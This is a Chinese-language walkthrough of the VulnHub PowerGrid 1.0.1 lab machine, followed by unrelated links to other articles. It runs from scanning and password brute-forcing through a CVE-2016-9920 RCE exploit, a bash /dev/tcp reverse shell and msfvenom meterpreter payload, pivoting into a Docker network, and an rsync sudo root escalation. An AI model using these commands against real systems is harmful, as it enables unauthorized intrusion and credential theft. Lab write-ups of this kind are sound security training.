kali:192.168.111.111

靶机:192.168.111.182

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.182

访问web,发现三个用户名

目录爆破发现zmail目录

dirsearch -u http://192.168.111.182 -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt

访问该目录提示需要登录,用发现的用户名爆破

hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.111.182 http-get /zmail -t 64

得到账号密码:p48|electrico,登录后发现一封邮件,内容提示存在另一台服务器

发现该cms的版本存在远程代码执行

漏洞利用

exp:https://github.com/t0kx/exploit-CVE-2016-9920

修改内容

执行python脚本

python3 exploit.py --host p48:electrico@192.168.111.182 --user p48 --pwd electrico --path /zmail --www_path /var/www/html/zmail/

访问http://192.168.111.182/zmail/backdoor.php执行命令

反弹shell需要经过url编码才可以执行

bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/4444 0>&1'

提权

切换到p48用户,在用户家目录下发现gpg私钥:privkey.gpg

配合在邮件中发现的密文解密,得到p48用户的ssh私钥,解密网站:https://youritmate.us/pgp/

查看目标网卡发现另一个网段172.17.0.0/24

上传msf木马进行端口扫描

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.111.111 lport=4444 -f elf -o shell.elf

添加路由

run autoroute -s 172.17.0.0/24

利用msf模块auxiliary/scanner/portscan/tcp扫描,发现172.17.0.1和172.17.0.2开放22端口

use auxiliary/scanner/portscan/tcp
set rhosts 172.17.0.0/24
set threads 100

利用gpg解密得到的p48用户私钥登录172.17.0.2,尝试利用ssh登录之后发现172.17.0.1登录的是靶机,172.17.0.2是docker容器

ssh p48@172.17.0.2 -i id_rsa

提权方法:https://gtfobins.github.io/gtfobins/rsync/#sudo

sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

切换到root之后查看/root/.ssh/id_rsa,获得root用户私钥,登录172.17.0.1,获得flag

ssh root@172.17.0.1 -i id_rsa

Vulnhub:PowerGrid-1.0.1靶机的更多相关文章

  1. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  2. ch4inrulz: 1.0.1靶机渗透

    ch4inrulz: 1.0.1靶机渗透 扫描主机端口,还行啦四个开放的端口,8011和80端口都运行着web服务. 80端口下的robots.txt告诉我们什么都没有 在8011端口的apache服 ...

  3. Vulnhub Breach1.0

    1.靶机信息 下载链接 https://download.vulnhub.com/breach/Breach-1.0.zip 靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/C ...

  4. PJzhang:vulnhub靶机sunset系列SUNSET:TWILIGHT

    猫宁~~~ 地址:https://www.vulnhub.com/entry/sunset-twilight,512/ 关注工具和思路. nmap 192.168.43.0/24靶机IP192.168 ...

  5. Vulnhub 靶机 pwnlab_init 渗透——详细教程

    1. 下载 pwnlab_ini 靶机的 .ova 文件并导入 VMware: pwnlab下载地址:PwnLab: init ~ VulnHub 导入VMware时遇到VMware上虚机太多,无法确 ...

  6. 25. CTF综合靶机渗透(17)

    靶机链接 https://www.vulnhub.com/entry/the-ether-evilscience,212 运行环境 本靶机提供了VMware的镜像,从Vulnhub下载之后解压,运行v ...

  7. 23. CTF综合靶机渗透(十六)

    靶机说明: VM Name: JIS-CTF : VulnUpload Difficulty: Beginner Description: There are five flags on this m ...

  8. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  9. vulnhub-XXE靶机渗透记录

    准备工作 在vulnhub官网下载xxe靶机 导入虚拟机 开始进行渗透测试 信息收集 首先打开kali,设置成NAT模式 查看本机ip地址 利用端口扫描工具nmap进行探测扫描 nmap -sS 19 ...

  10. 靶场渗透CH4INRULZ_v1.0.1

    最新文章见我个人博客:点此 靶机环境下载地址:[下载] ova下载下来后直接导入virtualbox即可(https://www.vulnhub.com/entry/ch4inrulz-101,247 ...

随机推荐

  1. 8个Spring事务失效的场景,你碰到过几种?

    前言 作为Java开发工程师,相信大家对Spring种事务的使用并不陌生.但是你可能只是停留在基础的使用层面上,在遇到一些比较特殊的场景,事务可能没有生效,直接在生产上暴露了,这可能就会导致比较严重的 ...

  2. Jmeter 之吞吐量控制器

    作用: 吞吐量控制器可用来模拟混合场景的压测业务,即一部分用户执行场景A,一部分用户执行场景B 字段说明: Total Excutions:执行请求总数 Percent Excutions:执行线程数 ...

  3. JavaScript:对象:如何创建对象?

    JS是面向对象的语言,除开基础数据类型,其他所有的数据类型都是对象,包括函数. 如何去理解对象,什么是对象呢? 举个例子,比如我们将日常生活中见到的猫这种动物,抽象成一个类Cat,这里不去谈类是什么概 ...

  4. Python启动HTTP服务进行文件传输

    有时候局域网共享个东西不方便,尤其在服务器上的时候,总不能先下载下来,再上传上去吧,于是经常在这台机器用python起个http服务,然后去另一台机器直接访问,一来二去,妥试不爽,特进行一下分离 py ...

  5. node设置下载源

    // 设置镜像源 npm config set registry https://registry.npm.taobao.org // 查看当前源 npm config get registry

  6. [C++]vector内存的增长机制

    例子 #include <iostream> #include<vector> #include<algorithm> #include "CPPDemo ...

  7. P1848 [USACO12OPEN]Bookshelf G

    简要题意 给你 \(N\) 本书 \((h_i,w_i)\),你要将书分成任意段(顺序不能改变),使得每一段 \(j\) 中 \(\sum\limits_{i \in j} w_i \leq L\), ...

  8. 洛谷P3654 First Step题解

    这是一道暴力枚举. 大致题意:R行C列的棋盘要放下长度为K的线段,"#"表示无法放置,问有多少种放置方法. 直接贴代码: #include<bits/stdc++.h> ...

  9. Flutter2.X学习之路--调试页面布局好用的办法

    Flutter里有个很好用的东西,可以方便我们来进行页面组件的布局调试,话不多说,上代码 1.找到main.dart引入rendering.dart import 'package:flutter/r ...

  10. 方法的调用-JDK的JShell简单使用

    方法的调用 方法在定义完毕后,方法不会自己运行,必须被调用才能执行,我们可以在主方法main中来调用我们自己定义好的方法.在 主方法中,直接写要调用的方法名字就可以调用了. public static ...